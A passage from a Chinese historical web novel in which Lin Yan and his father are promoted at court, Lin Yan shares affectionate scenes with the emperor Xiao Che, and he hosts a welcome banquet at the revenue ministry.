提到春闱,文恪的神情立刻拘谨了几分,放下筷子,坐得更直了些:“有劳表弟挂心,一切尚算顺利,答题时,皆是按照表弟先前建议,务求实在,不尚浮华,只是考场之上,高手如云,结果如何,实难预料。” 文恪说得谦虚,眼神里还透着紧张和期待。 大渝的春闱放榜是在三月初五,眼下才二月下旬,还得等上好些天。 林砚咽下嘴里的鸡腿肉,宽慰道:“表哥不必过于忧心,你基础扎实,又肯下苦功,只要发挥出平日水平,定然无碍,如今朝中取士,陛下更看重务实干才,厌恶那些花团锦簇却言之无物的文章,你走的正是对了路子。” 林承稷也颔首附和:“砚儿说得是,恪儿你的文章老夫看过,言之有物,理据充分,只要不出大纰漏,中试的希望很大,安心等待便是,不必过分焦灼。” 文韫笑着给文恪夹了块鱼:“就是,考都考完了,想那么多也无用,吃饭吃饭,瞧你们一个个紧张的,天又塌不下来。” 林墨也笑嘻嘻地凑趣:“就是就是,恪表哥肯定能高中!到时候咱们家可就又出了个进士老爷了!” 一家人说说笑笑,气氛重新轻松起来。 文恪被大家你一言我一语地安慰着,紧绷的神色也缓和了许多,低声道:“多谢姑父、姑母、表弟表妹吉言。” 这顿饭吃了许久,直到杯盘狼藉,众人都有些撑了才撤下。 林砚摸着圆滚滚的肚子,只觉得困意上涌,哈欠连天。 文韫见状,赶紧催他回去休息:“快去歇着吧,热水都给你备好了,好好泡个澡解解乏。” 林砚也确实累得眼皮打架,从清源县赶回来一路上就没好好休息过此刻精神一松懈,疲惫感排山倒海般涌来。 他晕乎乎地回到自己院子,泡了个舒舒服服的热水澡,几乎是一沾枕头就着。 这一觉睡得极其踏实,连个梦都没做。 直到第二天清晨,生物钟准时将林砚唤醒。 虽然身体还有些残留的酸软,但精神已然恢复了大半。 想起今天还要上朝,林砚一个鲤鱼打挺……没挺起来,腰酸得他龇牙咧嘴,只好老老实实地爬起身。 洗漱,更衣,换上那身熟悉的绯色官袍,对着铜镜整理衣冠时,看到镜中那个眼底依旧带着些许倦色,却难掩清俊的青年,林砚恍惚了一下。 不过离京一个多月,却好像过了很久。 收拾停当,林砚匆匆用了些早饭,便跟着父亲林承稷一同出门,乘马车往皇宫而去。 马车轱辘,碾过清晨微湿的石板路。 林承稷看着儿子,忽然道:“昨日忘了问你,陛下……在城外等你,可是有什么要紧事吩咐?” 林砚心里咯噔一下,脸上却故作镇定:“没什么要紧事,就是陛下体恤,问了几句清源县的情况,看我累得够呛,就让我先回家歇着了。” 他可不敢说实话,难道要告诉他爹,陛下不仅亲自跑到十里外等我,我们还抱了亲了,你儿子我还主动索吻了? 他怕他爹当场心梗。 林承稷“哦”了一声,似乎信了,没再多问。 林砚悄悄松了口气。 到了宫门,下车,随着等候上朝的文武百官队伍缓缓前行。 晨光熹微中,朱红宫墙巍峨肃穆,熟悉的景致让林砚生出一种“打工人终于回来上班了”的奇异归属感。 在太仪殿外按品级站好,钟鼓声响起,百官鱼贯而入。 林砚垂着眼,站在翰林院官员的队列中,能感觉到不少或明或暗的目光落在自己身上。 他这趟差事办得动静不小,先是洛州惩贪,后是清源县招安,想不引人注目都难。 龙椅上的萧彻依旧威严沉静,听取着各部官员的奏报,偶尔发问,言简意赅。 一切似乎都与往日无异。 直到各项政务禀报完毕,殿内暂时安静下来。 萧彻目光扫过下方,淡淡开口:“翰林学士林砚。” 林砚精神一振,立刻出列,躬身行礼:“臣在。” “洛州、清源县之事,你办得不错。”萧彻的声音平稳,听不出太多情绪,“既惩了贪腐,也安了民心,未有株连,未起动荡,分寸把握得宜。” “臣愧不敢当,皆是陛下运筹帷幄,臣不过依令行事。”林砚赶紧谦虚,心里却有点美滋滋,被男朋友当众表扬了嘿。 萧彻下一句便是:“有功当赏。” 他侧头看了一眼侍立在旁的李德福。 李德福立刻上前一步,展开手中早已备好的明黄圣旨,尖细清晰的声音瞬间响彻大殿。 “奉天承运皇帝,诏曰:翰林学士林砚,才识敏赡,器局宏深,屡效忠勤,克襄政务,前委查案洛州,秉公持正,靖地方而安黎庶;旋赴清源招抚,宣恩布德,化顽梗而导善良,绩著循良,功在社稷,宜加渥赏,用劝贤劳,特擢升为户部右侍郎,授正四品,锡之敕命,尔其益笃忠忱,勉抒猷略,以副朕委任至意,钦此——” 这是林砚在清源事毕后,萧彻又改过一次的圣旨。 圣旨念完,整个太仪殿鸦雀无声。 几乎所有官员都愣住了,目光齐刷刷地聚焦在林砚身上,充满了震惊、难以置信、以及各种复杂的情绪。 户部右侍郎!正四品! 林砚才多大?入朝才多久? 虽然知道林砚圣眷正浓,虽然知道他刚立了大功,但这还是很让人眼红 林砚自己也懵了,抬起头看向御座之上的萧彻,眼睛瞪得溜圆,嘴巴微张,完全是一副被惊喜砸晕了的表情。 不是,萧彻昨天也没跟他说还有这一出啊。 【户部侍郎?四品?我?】 【昨天刚亲完今天就升官?这这这这这算不算潜规则?】 萧彻听着耳边那串心声,看着林砚那副呆若木鸡的模样,眼底极快地掠过一丝笑意,面上却依旧威严:“林侍郎,还不谢恩?” 林砚一个激灵,猛地回过神,赶紧压下心头的惊涛骇浪,深深俯首“臣林砚,领旨谢恩,吾皇万岁万岁万万岁!” 直到从李德福手中接过那卷沉甸甸,象征着正四品侍郎身份的敕命诏书,林砚还觉得有点不真实。 他当上四品官了哎。 还没等林砚消化完这个巨大的惊喜,只见李德福又拿出一份圣旨。 “工部匠作少将林承稷听旨。” 林承稷显然也完全没料到还有自己的事,愣了一下,才赶紧出列跪下:“臣在。” “诏曰:工部郎中林承稷,公忠体国,勤慎夙著,效力年久,卓有劳绩,前协查陈博渊一案,亦颇尽心,特擢升为工部将作大匠,授从四品,钦此——” 这道旨意同样引起了一阵不小的骚动。 将作大匠!这可是工部极重要的实权职位,掌宫室、宗庙、陵寝等土木营建,非资深干员不能胜任。 先皇在位时任命的那个将作大匠,仗着是先皇宠妃的亲戚,本事不大,脾气不小,还爱瞎指挥,萧彻早就看他不顺眼了,只是一直没动他,如今借着林承稷立功,正好把那占着茅坑不拉屎的家伙撸下去,换上了真正懂行的林承稷。 林承稷也是又惊又喜,连忙叩首谢恩:“臣林承稷,领旨谢恩!万岁万岁万万岁!” 林家父子二人,同殿擢升。 这在整个大渝朝的历史上都是极其罕见的事情。 无数道目光集中在林家父子身上,羡慕、嫉妒、探究、讨好……各种眼神几乎要将他们淹没。 林砚捧着敕命,和他爹对视一眼,都从对方眼里看到了巨大的惊喜和一丝茫然。 这就升官了? 散朝后,林砚和林承稷几乎是被热情的同僚们包围了。 “恭喜林侍郎!” “恭喜林大匠!” “林大人真是年少有为,前途不可限量啊!” “林老大人深耕工部多年,早该升迁了,今日真是双喜临门!” 道贺声、恭维声不绝于耳。 林砚脸上挂着得体的微笑,一一回礼,心里却在疯狂计算。 四品官!一年俸禄多少来着?职田呢?各种补贴呢? 林砚一边应付同僚,一边在心里噼里啪啦打起了算盘。 不算不知道,一算吓一跳,收入水平,直接翻了好几番。 林砚越想越美,嘴角差点咧到耳根子,好不容易才强行压下,努力维持着“宠辱不惊”的淡定表情。 今日早朝林家父子二人同殿擢升,林家顿时成为了京城最炙手可热的新贵。 虽然羡慕嫉妒恨的大有人在,但也不得不服气。 人家林承稷在工部埋头苦干多年,资历能力都摆在那儿,升迁是早晚的事。 林砚就更别说了,虽然升得快,但人家实打实的功劳一件接一件,洛州惩贪、清源招安,哪一桩不是漂亮至极?深得帝心那也是人家有本事。 以至于很长一段时间里,京城里做官的父亲让儿子争气,儿子让父亲争气,都想卷到更好的位置上去—— 作者有话说:恭喜小林大人升官[撒花] 第80章 第 80 章 哇哦,他男朋友真的是恋…… 林砚跟同僚们社交结束, 便踱着步子直奔御书房。 要去跟男朋友贴贴! 到了御书房外,正好遇见李德福端着个空茶盘出来。 李德福一见是他,老脸立刻笑成了一朵菊花, 压低声音, 语气热络得不行:“林大人,恭喜林大人高升, 陛下正在里头呢,吩咐了, 您来了直接进去就成。” “有劳李公公。”林砚也笑着拱手,心里嘀咕,李德福倒是比自己还要更早知晓升官的消息。 林砚整理了一下衣冠,深吸一口气,推门而入。 御书房内依旧是熟悉的沉水香气息, 只是今日闻着,似乎格外沁人心脾。 萧彻正坐在御案后,手里拿着一份奏章,听见动静抬起头来。 四目相对。 林砚立刻躬身行礼:“臣林砚,叩谢陛下隆恩。”声音洪亮,充满了真诚。 升官发财, 很难不真诚。 萧彻放下奏章, 目光在他身上扫过,看林砚春风得意, 自己也跟着弯起眼睛:“平身,过来。” “哎,好,来了。”林砚站起身,依言走到御案前。 萧彻看着他, 语气平淡:“户部事务繁杂,关乎国计民生,可能胜任?” 林砚立刻挺直腰板,眼神晶亮,恨不得指天发誓:“陛下放心!臣定当竭尽全力,为陛下分忧,为朝廷效力!绝不懈怠!” 户部再忙也是忙正事,能干正事而不用给人擦屁股,多好。 虽说武海闵已经成为过去式,但是在武海闵手下讨生活的日子,还是给林砚留下了很大的心理阴影。 就在这时,李德福轻手轻脚地进来,添了次茶水,然后又极其有眼色地,对着殿内侍立的几个小太监宫女使了个眼色。 那些宫人立刻心领神会,一个个屏息凝神,低着头,悄无声息地迅速退了出去,还贴心地将殿门轻轻合拢。 偌大的御书房,瞬间只剩下林砚和萧彻两人。 林砚正沉浸在升官的喜悦和对未来工作的憧憬中,没太注意周围环境的变化,还在那乐呵呵地保证:“陛下,臣一定好好干,争取早日成为户部的顶梁柱,管好钱袋子……” 话没说完,忽然感觉眼前光线一暗。 一抬头,发现萧彻不知何时已经从御案后站了起来,走到了他面前。 两人距离极近,林砚甚至能清晰地看到萧彻衣服上精致的暗纹,闻到那愈发浓郁的沉水香气。 “陛……”林砚刚吐出一个字,忽然觉得腰间一紧。 一条坚实有力的手臂毫无预兆地环住了他的腰,下一秒,天旋地转—— 等他反应过来时,整个人已经被萧彻打横抱了起来! “!!!”林砚吓得差点惊呼出声,手下意识地就抓住了萧彻胸前的衣襟。 萧彻却像是没事人一样,臂力惊人地抱着他,转身几步,走到御书房里间那张平时用于小憩的软榻旁,然后——坐了下去。 于是,林砚就这么毫无防备地、结结实实地坐在了萧彻的大腿上,整个人被圈在了皇帝的怀里。 这个姿势太过亲密,也太过突然,林砚整个人都僵住了,脸颊“唰”地一下爆红,心脏砰砰狂跳,脑子里的升官发财的宏图瞬间被炸得粉碎。 【我靠!什么情况?!】 【御书房play?这是我不花钱就能体验的吗?!】 【陛下您臂力可以啊!平时没少练吧?!】 萧彻垂眸看着怀里的人,那张清俊的脸上此刻写满了震惊、羞窘,眼睛瞪得圆溜溜的,像是受了惊的猫,看得他心头发痒。 他收紧了环在林砚腰间的手臂,将人往自己怀里又按了按,下巴轻轻抵在林砚的发顶。 “去了户部,日后便不能日日待在翰林院,也不能总是来御书房了。”萧彻的语气听起来闷闷的。 林砚还处于“我是谁我在哪”的震惊中,闻言下意识地点头:“啊?嗯……是、是吧,户部衙门离得是远了些……” 所以呢?这跟你突然把我抱大腿上有什么关系? 萧彻沉默了一下,似乎不太满意他这个反应,抬起头,看着林砚的眼睛,语气更加低缓,甚至带上了一点可怜的意味:“你我相见的时候,便少了。” 林砚:“???” 他茫然地眨眨眼,看着近在咫尺的俊脸,那双总是深邃难测的凤眸里,此刻清晰地映着他的倒影,以及像是怕被冷落的大型犬般的眼神。 因为这个? 因为他升官了,工作地点变了,不能像以前那样随时随地来御书房报到了,所以不高兴了?舍不得了? 林砚一时之间真是哭笑不得。 不是,陛下,你可是皇帝,能不能有点事业心?我升官了,这是多大的进步!多大的信任!多大的荣耀!别人求都求不来的好事! 不替我感到高兴,反而在这纠结以后见面时间少了? 难道他家陛下是万里挑一的恋爱脑? “陛下。”林砚试图跟这位突然变得黏人的皇帝讲道理,声音都放软了些,“臣只是调任户部,又不是流放了,还在京城,依旧能经常见到陛下的。” 林砚说着还掰指头数了起来:“而且陛下你想,臣去了户部,就能为大渝打理财政,开源节流,充盈国库,到时候陛下想想做什么利国利民的大事,不就有钱了?这难道不是更好的为陛下分忧?” 他一边说,一边努力想从萧彻腿上下来,这个姿势实在太羞耻了,而且……硌得慌。 然而萧彻的手臂箍得死紧,根本不容他动弹。 萧彻只是看着他,眼神依旧带着那种让林砚头皮发麻的专注和一丝固执:“那些事,旁人也能做。朕只是觉得,与你相处的时间,少了。” 林砚:“……” 哇哦,他男朋友真的是恋爱脑哎。 “陛下。”林砚抬起头,认真地看着萧彻,“能得陛下信重,出任户部侍郎,臣真的非常高兴,臣想做些实事,想真正为百姓、为朝廷做点有用的事,陛下给臣这个机会,臣很高兴。” 他看着萧彻的眼睛,语气无比郑重:“至于与陛下相见……臣的心意,陛下难道还不明白吗?即便公务繁忙,臣也绝不会因此就疏远了陛下,你在这里。” 林砚说着,手指轻轻点了点自己的心口,“臣无论身在何处,都不会忘记。” “昭临,你是我心里的人。”伸出手,搂住了萧彻的脖子。 萧彻依旧没有立刻松开手,只是眸光幽深地看着林砚,确认般地问道:“真的?不会因为户部公务繁杂,就忘了我?” “绝对不会!”林砚就差指天发誓了,“公务是公务,你是你,这怎么能相比?” 萧彻似乎终于满意了,紧绷的下颌线条柔和下来,眼底也重新染上了笑意。 他低头,用额头顶着林砚的额头,鼻尖蹭着林砚的鼻尖,呼吸交融,声音低沉而愉悦:“记住你说的话。” 这亲昵的举动让林砚刚刚降温的脸颊又烧了起来,但他没躲开,反而鼓起勇气,飞快地在萧彻唇上啄了一下,然后像完成了什么壮举一样,眼神亮晶晶地看着他:“盖章为证!” 萧彻被他这主动的亲吻和幼稚的话语逗笑了,胸腔震动,发出低沉悦耳的笑声。 他收紧手臂,将人更深地拥入怀中,仿佛要将这一刻的温存牢牢锁住。 林砚乖顺地靠在他怀里,听着那有力的心跳,感受着那份几乎要将他溺毙的独占欲,心里软得一塌糊涂。 唉,算了算了,自家男朋友,恋爱脑就恋爱脑吧,自己宠着呗。 两人就这样相拥着,静静地享受了片刻的静谧与亲昵。 御书房内熏香袅袅,气氛温馨得不像话。 过了一会儿,林砚忽然觉得……硌得越发明显了。 他有些不自在地动了动。 萧彻的身体瞬间绷紧,呼吸也粗重了几分,环在他腰上的手臂收得更紧,声音沙哑地警告:“别动。” 林砚顿时僵住,不敢再乱动,脸颊红得几乎要滴血,眼神四处乱瞟,就是不敢看萧彻。 【要命!这这这这这青天白日的!还是在御书房!】 【萧彻你冷静!你的帝王威仪呢!】 萧彻也想冷静,可小萧彻不听话。 他深吸一口气,极力平复着身体的反应,却收效甚微。 怀里的温香软玉,林砚身上那股淡淡的、独一无二的气息,都在挑战着他的自制力。 林砚显然也感觉到了那处的变化,整个人都快烧起来了,手脚都不知道该往哪里放。 救命啊啊啊啊啊!这该怎么办?他是该假装不知道?还是该做点什么? 在线等,挺急的! 最终,林砚把心一横,眼一闭,搂着萧彻脖子的手臂微微用力,仰起头,再次主动吻上了萧彻的唇。 这一次,不再是刚才那样一触即分的轻啄,而是带着点豁出去的深入。 萧彻先是一怔,随即眼底猛地燃起一簇暗火,几乎是立刻反客为主,加深了这个吻。 气息交缠,唇舌相依,交缠着情动和渴望。 御书房内的温度仿佛骤然升高,熏香的气息也变得暧昧起来。 林砚被吻得浑身发软,脑子晕乎乎的,只能被动地承受着,偶尔从喉咙里溢出几声细碎的呜咽。 不知过了多久,就在林砚觉得自己快要缺氧时,萧彻才终于放开了他。 两人额头相抵,呼吸都有些不稳。 萧彻看着林砚那副被吻得眼泛水光、嘴唇红肿的模样,眸色深得可怕,喉结剧烈地滚动了一下。 他将林砚的脑袋按进自己怀里,不让他再看自己,声音沙哑得厉害:“含章,别再撩拨我了。” 林砚把滚烫的脸埋在他颈窝里,小声嘟囔:“我还不是想帮你。” 萧彻低笑一声,胸腔震动,手臂却依旧抱得死紧,丝毫没有要放开的意思。 两人又静静抱了一会儿,直到彼此的气息都渐渐平复下来。 萧彻才像是忽然想起什么,语气恢复了平日里的淡然,只是还带着一丝不易察觉的沙哑:“去了户部,若有难处,或是有人不服调遣,尽管来告诉朕。” 林砚在他怀里点点头,闷声道:“知道啦,陛下放心,臣也不是好欺负的。” “嗯。”萧彻满意地摸了摸他的头发,“朕的林侍郎,自然无人敢欺。” 又温存了片刻,林砚估摸着时间差不多了,轻轻推了推萧彻:“陛下,臣该去户部报到了。” 萧彻这才万分不舍地松开手臂,允许他从自己腿上下去。 林砚脚一沾地,赶紧整理了一下被揉皱的官袍,脸上热度还没完全消退。 萧彻也站起身,替他理了理略显凌乱的鬓发,动作自然亲昵。 “去吧。”萧彻的目光依旧黏在他身上,“晚些时候,若无事,便来清漪阁。” 林砚脸上刚降下去的温度又有点回升的趋势,他含糊地应了一声:“臣尽量。” 直到走出殿门,被外面微凉的春风一吹,林砚才长长舒了一口气,感觉自己又重新活了过来。 升官了,恋爱也谈着。 值得高歌一曲。 哎——开心的锣鼓……—— 作者有话说:[猫头]《 》 80-90 第81章 第 81 章 太典了,实在是太典了。…… 林砚从御书房退出来, 一抬眼,就瞧见李德福笑眯眯地候在廊下,那笑容, 慈祥得仿佛庙里的弥勒佛。 “林大人。”李德福迎上来, “您的新官袍,已经送到您府上了, 您看,是不是先回府换上, 再去户部公廨?” 林砚愣了愣,才想起来自己升官了,官袍也不一样,对着李德福拱手:“有劳李公公特意告知。” 李德福脸上笑容不变,又压低声音补了一句:“户部那边, 张尚书已经打过招呼了,都知道您今儿个过去,您放心,张尚书为人宽厚,是个好相与的。” 林砚再次谢过,心里门儿清, 李德福艺人知道他之前在武海闵的手底下做事很是憋屈, 这是在给他提醒。 也是,萧彻不可能让他去一个乌烟瘴气的部门给一大堆人擦屁股, 更何况户部尚书要真是个武海闵那样的人,萧彻早就把人撤了。 坐在回家的马车上,林砚就开始盘算。 户部那地方,跟礼部祠祭司那可不一样,管的都是实打实的钱粮账目, 里头的老油条估计比祠祭司的还多,年纪估计也比他大上一轮。 第一印象很重要,得来个接地气的开场。 请客吃饭,古今中外永恒不变的拉近距离大法。 一到家,林砚脚还没沾地,就先吩咐人:“去五味斋,订一桌上好的席面,让他们巳时末准时送到户部公廨去,记得,要多些硬菜,分量足点。” 吩咐好了下人去置办饭菜,林砚直奔文韫那儿。 “娘,帮帮忙。”林砚的时间不算多,走路都风风火火。 文韫正在看家里的账本,闻言暂且搁下:“什么事需要娘帮你?” “儿子这不是升了户部侍郎嘛,今儿头一天去点卯,想给同僚们带点见面礼,娘的眼光好,快帮儿子挑些不失体面又实用、还不算太扎眼的东西,我一会儿带过去。”林砚说道。 文韫一听是这事,她略一思忖,便道:“库房里还有好些上好的笔墨,一人一份,既雅致又合用,再配些上好的茶叶,用小巧的瓷罐分装,如何?” “儿子觉着可行。”林砚点头,“就按娘说的办。” 准备好了给新同事的见面礼,林砚才回了自己的屋子。 崭新的户部右侍郎官袍已经平整地挂在衣架上了。 深绯色,仅次于尚书的紫色,袍服上用金银丝线绣着精致的云雁补子,旁边还配着一条金带。 林砚利落地换上了这身新皮肤,系上金带,挂好银鱼袋,对着铜镜照了照。 镜中的青年,身姿挺拔,绯袍玉带,衬得面庞愈发清俊,眉宇间还略显稚嫩,但也被这身威严的官袍压下去不少,透出几分沉稳气度。 果真是人靠衣装马靠鞍。 这时,文韫也让人将准备好的见面礼送了过来,整整两大提盒。 林砚看了看时辰,不敢再耽搁,赶紧出门上车,往户部衙门赶。 马车抵达户部公廨时,差不多正是午时初,好巧不巧,五味斋送席面的伙计也抬着好几个大食盒到了门口,香气四溢。 林砚见状,立刻笑着对领头的伙计道:“来得正好,麻烦几位直接抬进去吧。” 他这边刚引着送菜的伙计进门,那边户部尚书张厚朴张大人已经闻讯带着几位官员迎了出来。 张厚朴是萧彻的心腹重臣,能力威望都没得说。 “哎呀,林侍郎,可把你盼来了!”张尚书笑声爽朗,上前就拱手,“欢迎欢迎,以后咱们就是同衙为官,一同为陛下分忧了!” 林砚赶紧深深一揖:“下官林砚,见过部堂大人,初来乍到,日后还望部堂大人与诸位同僚多多指点提携。”态度谦逊得不得了。 张尚书扶了一下:“林侍郎太客气了,你年轻有为,陛下钦点,是我们户部的一员猛将,来来来,正好也到饭点了,看你还带了酒菜?这可真是太破费了,正好,咱们边吃边聊,也让大家伙儿都认认人。” 说着,他便招呼着户部的大小官员们:“都先停停手头的活计,今日林侍郎初到,给大家备了席面,咱们一起热闹热闹!” 衙门里的官员们早就闻到香味了,一听尚书发话,顿时欢声一片,纷纷围拢过来,衙役们手脚麻利地搬来桌椅,拼成一个大长桌,五味斋的菜肴流水般摆上来,鸡鸭鱼肉、时令鲜蔬,琳琅满目,热气腾腾,看着就让人食指大动。 林砚又趁机让随从将文韫准备的见面礼拿过来,亲自一份份送到各位同僚手中,嘴上说着:“一点小小见面礼,不成敬意,以后同衙为官,还望各位大人多多关照。” 众人接过礼物,入手沉甸甸,一看是上好的文房用品和茶叶,既雅致又实用,价值适中,不会让人感到负担,顿时对这位年轻的新侍郎好感倍增。 一时间,道谢声、寒暄声不绝于耳,气氛热烈得堪比年会现场。 张厚朴看着这一幕,捋着胡须,眼中笑意更深。 众人落座,张厚朴自然坐了主位,他特意拉着林砚坐在自己身边,茶过三巡,菜过五味,便开始为林砚介绍在座的主要同僚。 他首先指向坐在林砚对面的一位官员:“林侍郎,这位是褚大人,褚晔,咱们户部的左侍郎,与你一样,都是部堂副贰之职。” 林砚早就注意到这位褚侍郎了。此人年纪看来比自己大上几岁,约莫三十出头,面容清瘦,眼神明亮中带着点锐利,但嘴角天然微微上扬,不笑时也显得有几分和气,穿着和他同款的绯色云雁补服,气质干练。 褚晔见介绍到自己,笑着举杯:“林侍郎,久仰大名了,以后咱们可要精诚合作了。”他说话语速不快,但给人一种可靠的感觉。 林砚连忙举杯回敬:“褚侍郎言重了,下官才是久仰,日后诸多事务,还要向褚侍郎多多请教。”两人相视一笑。 张厚朴笑着补充道:“褚侍郎主要负责的是天下户口、土地、赋役、地方贡献这一大摊子事,林侍郎你主要是负责咱们大渝的财政预算与收支计划。说白了,就是根据全国收上来的钱粮,来规划和分配各项支出,军费、官俸、皇室用度、工程拨款等等,都得从你这儿过,你这肩膀上的担子,可不轻啊!” 林砚听得认真,心里也在飞速盘算。 他这个官职类似于CFO加财政部长混合体。 介绍完两位侍郎,张尚书又依次介绍了林砚直系下属的几位郎中、员外郎、主事。 果然如林砚所料,这些官员年纪都比他大,最年轻的看着也过了三十岁,个个面容沉稳,眼神里透着资深财务人员特有的精明与谨慎。 他们纷纷向林砚敬茶,态度恭敬中带着审视。 一圈认下来,林砚基本上把面孔和官职对上号。 认了一圈人之后,气氛越发融洽,几位已经成家生子、年纪较长的官员,难免就开始关心起上官的个人问题。 一位郎中笑着问道:“林侍郎如此年轻有为,不知可曾婚配?若是尚未成家,下官家中有一远房侄女,正值妙龄,性情温婉……” 他这一开头,旁边几位也凑趣起来。 “是啊是啊,林侍郎一表人才,前途无量,是该考虑成家立业了。” “下官岳家那边也有几位品貌不错的姑娘……” “成了家,有了贤内助,这心也就定下来了,更能专心为朝廷效力嘛!” 太典了,实在是太典了。 无论现代还是古代,好像同事都热衷于给人介绍对象。 谢谢各位啊,但我真的不需要介绍对象。 “多谢各位美意。只是如今初到户部,百事待兴,下官只想先做好陛下交代的差事,暂无暇考虑个人之事,此事还需从长计议,从长计议,呵呵。”林砚含糊揭过此事。 众人见他如此说,也不好强求,只是笑着打趣了几句“林侍郎真是兢兢业业”“陛下得此良臣实乃大幸”之类的话,便将话题转回了公务上。 林砚暗暗松了口气,赶紧扒拉了几口菜压惊。 这顿接风宴吃得是宾主尽欢。 饭后,张厚朴又亲自领着林砚去了给他准备好的值房,宽敞明亮,一应物件都是新的。 褚晔也跟了过来,两人就日后工作的对接流程简单聊了聊,相谈甚欢,确实有种一见如故、默契初生的感觉。 林砚前世今生加起来也上过许多年的班了,除去他很少待的翰林院,就目前户部的同事们瞧着最是靠谱。 送走了张厚朴和褚晔,林砚独自坐在属于自己的新值房里,看着窗外户部庭院里来来往往的官吏,摸了摸身上光滑的绯色官袍。 新工作,新气象! 御书房内,檀香袅袅,萧彻批阅完最后一本奏折,将朱笔搁在笔山上,身体微微向后靠入椅背,揉了揉略显疲惫的眉心。 殿内安静,唯有更漏滴答作响。 他抬眼,看向一直垂手侍立在旁的李德福,状似随意地问道:“李德福,什么时辰了?林砚到户部有些时候了吧?可安顿好了?” 李德福立刻上前一步:“回陛下,已是申时初了,林大人午前便到了户部,金九刚传了消息回来,奴才正想着等陛下忙完好禀陛下呢。” “哦?”萧彻眉梢微挑,端起手边的温茶呷了一口,语气平淡,但眼神里透出一丝询问的意味,“那边情形如何?户部那帮老吏,没给他出什么难题吧?” 他知道林砚机灵,但毕竟年轻,骤然高位,面对一帮积年的老油条,难保不会遇到点下马威。 李德福脸上的笑容更深了些,带着几分真心实意的赞叹:“陛下放心,林大人处事极为周全妥帖,不仅没遇到什么难题,反而很是吃得开呢。” 他细细回禀道:“林大人入衙前,特意从宫外最好的酒楼五味斋订了一桌上等席面,掐着饭点送到公廨,又备了上好的笔墨茶叶作见面礼,人人有份,既不显过分贵重招摇,又十足贴心实用,张尚书带着众官迎他,他便借着这席面,直接在衙里办了场接风宴,一顿饭下来,户部上下对这位新侍郎是交口称赞,直夸林大人年纪轻轻却办事老道,待人真诚,没半点架子。” 萧彻听着,嘴角不自觉地上扬,眼前几乎能浮现出林砚在那群老臣中间游刃有余、笑容可掬的模样,心里那点微不可察的担心瞬间烟消云散。 李德福继续道:“席间,张尚书亲自为林大人引见了左侍郎褚晔褚大人,以及几位郎中等要紧下属,据金九说,林大人与那位褚侍郎相谈甚欢,颇有些一见如故的架势,饭后,张尚书亲自领着林大人去了值房安顿,一应物事都是崭新的,极为周到。” “嗯,张厚朴是个会办事的。”萧彻满意地点点头。 他选的人,自然没错。 褚晔他也有些印象,是个能干的,林砚能与他和睦相处,是好事。 李德福像是想起什么,又补充:“哦,对了,席间还有几位年长的官员,想给林大人说媒,打听婚配之事呢。” 萧彻端茶的手顿了一下,眼神倏地扫向李德福。 李德福何等精明,立刻接道:“不过林大人当即就回绝了,只说初到户部,百事待兴,一心只想为陛下办好差事,暂无暇考虑个人之事,将话头轻轻巧巧就揭过去了。” 萧彻的脸色这才重新缓和下来。 可惜,他与林砚不能大张旗鼓,否则也不会有人想给林砚拉煤。 终究是他愧对林砚。 沉吟片刻,萧彻吩咐道:“既然安顿好了,那就让他好好当差,告诉金九,寻常小事不必频频回禀,护他周全即可,非紧要之事,不必扰他办公。” 萧彻知道林砚看似散漫,实则对正经差事极为认真,既然去了户部,必然是要做出一番成绩的。 “是,老奴明白。”李德福躬身应道。 萧彻挥了挥手,李德福便悄无声息地退了出去,吩咐人去给金九传话。 新官上任,千头万绪,还要应付人际关系,劳心劳力。 他沉吟片刻,忽然朝外扬声道:“来人。” 李莲顺应声而入。 “去御膳房吩咐一声,晚些时候炖一盅冰糖血燕,用温盒装好。”萧彻想了想,又补充道,“再备几样膳食,晚膳送到林府。” 李连顺愣了一下,不过下一瞬便想明白了,立即领命去办。 陛下待林大人,果真是有心。 萧彻这才觉得舒坦了些,重新将注意力集中到奏折上。 公务归公务,他的人,他还是得要心疼的—— 作者有话说:心美哥但凡可以,恨不得昭告天下[狗头] 第82章 第 82 章 林砚下意识地闭上了眼睛…… 林砚在户部侍郎位置上的第一天, 主打一个优雅摸鱼。 张厚朴没给他安排什么具体活计,只抱来一摞半人高的户部规章、往年账册、以及各司其职掌说明,和颜悦色地让他先熟悉熟悉。 这正合林砚心意。 他窝在自己宽敞明亮的新值房里, 喝着宫里刚赏下来的新茶, 翻阅枯燥得能逼死人的《户部则例》。 也是头一回具体了解古代的经济运行。 林砚一边学习,一边优哉游哉地混到了下班时间。 钟声一响, 林砚立刻合上账册,起身, 整理衣袍,走人。 动作行云流水,毫不留恋。 张厚朴说了,没什么事就不用留在户部加班,况且大渝有宵禁, 回家晚了遇到巡逻的禁军查也麻烦。 他乘着马车,却没直接回林府,而是吩咐车夫转向皇宫。 昨日萧彻那句“晚些时候来清漪阁”可不是白说的。 入宫通传,一切顺畅。 他被内侍引着,驾轻就熟到了清漪阁。 刚进院子,就看见萧彻负手站在一株刚吐新芽的海棠树下, 似乎正在赏景。 听到脚步声, 萧彻回过头,目光落在他身上, 上下打量一番,唇角微扬:“林侍郎下值了?” “托陛下的福,今日公务已毕。”林砚一本正经地拱手,眼角却弯着。 萧彻轻笑一声,很自然地走上前, 极其顺手地牵起他的手:“正好,朕也刚忙完,一同用膳吧。” 李德福早已指挥宫人将晚膳摆在了清漪阁临窗的榻上。 菜式不多,但都是林砚偏好的口味。 两人相对坐下。 萧彻没动筷子,先盛了一碗火腿鲜笋汤放到林砚面前:“户部第一日,感觉如何?张厚朴没给你派重活吧?” “张尚书很照顾臣,只让臣先熟悉规章。”林砚接过汤碗,吹了吹热气,“就是规章有点厚,看得眼晕。” “嗯,循序渐进也好,户部事务繁杂,非一日之功,若有不懂之处,多问问褚晔,他为人干练,精通部务。”萧彻道。 “是,臣记下了。”林砚点头,褚晔瞧着的确不错。 一顿饭吃得轻松惬意。 萧彻没再多问公务,反而聊了些闲话,偶尔给林砚夹个菜。 饭后,宫人撤去碗碟,奉上清茶。 萧彻很自然地挪到林砚身边坐下,手臂一伸,就将人揽进了怀里。 林砚猝不及防,后背撞进一个温热的胸膛,鼻尖瞬间被那股熟悉的沉水香气笼罩。 “陛、陛下?”光天化日……呃,烛光之下,这么搂搂抱抱,是不是有点过于黏糊了? 萧彻下巴蹭了蹭他的发顶,声音带着点慵懒:“别动,让朕抱会儿,批了一下午折子,乏得很。” 理由充分,无法拒绝。 林砚只好僵着身子,任由他抱着。 抱就抱吧,怎么手还不老实? 那只温热的大手在他腰间轻轻摩挲,隔着一层官袍料子,痒得林砚差点蹦起来。 “陛下……”林砚耳根发烫,试图挣扎。 “嗯?”萧彻的声音低低沉沉,响在耳边,带着明显的困意,“别闹,就一会儿。” 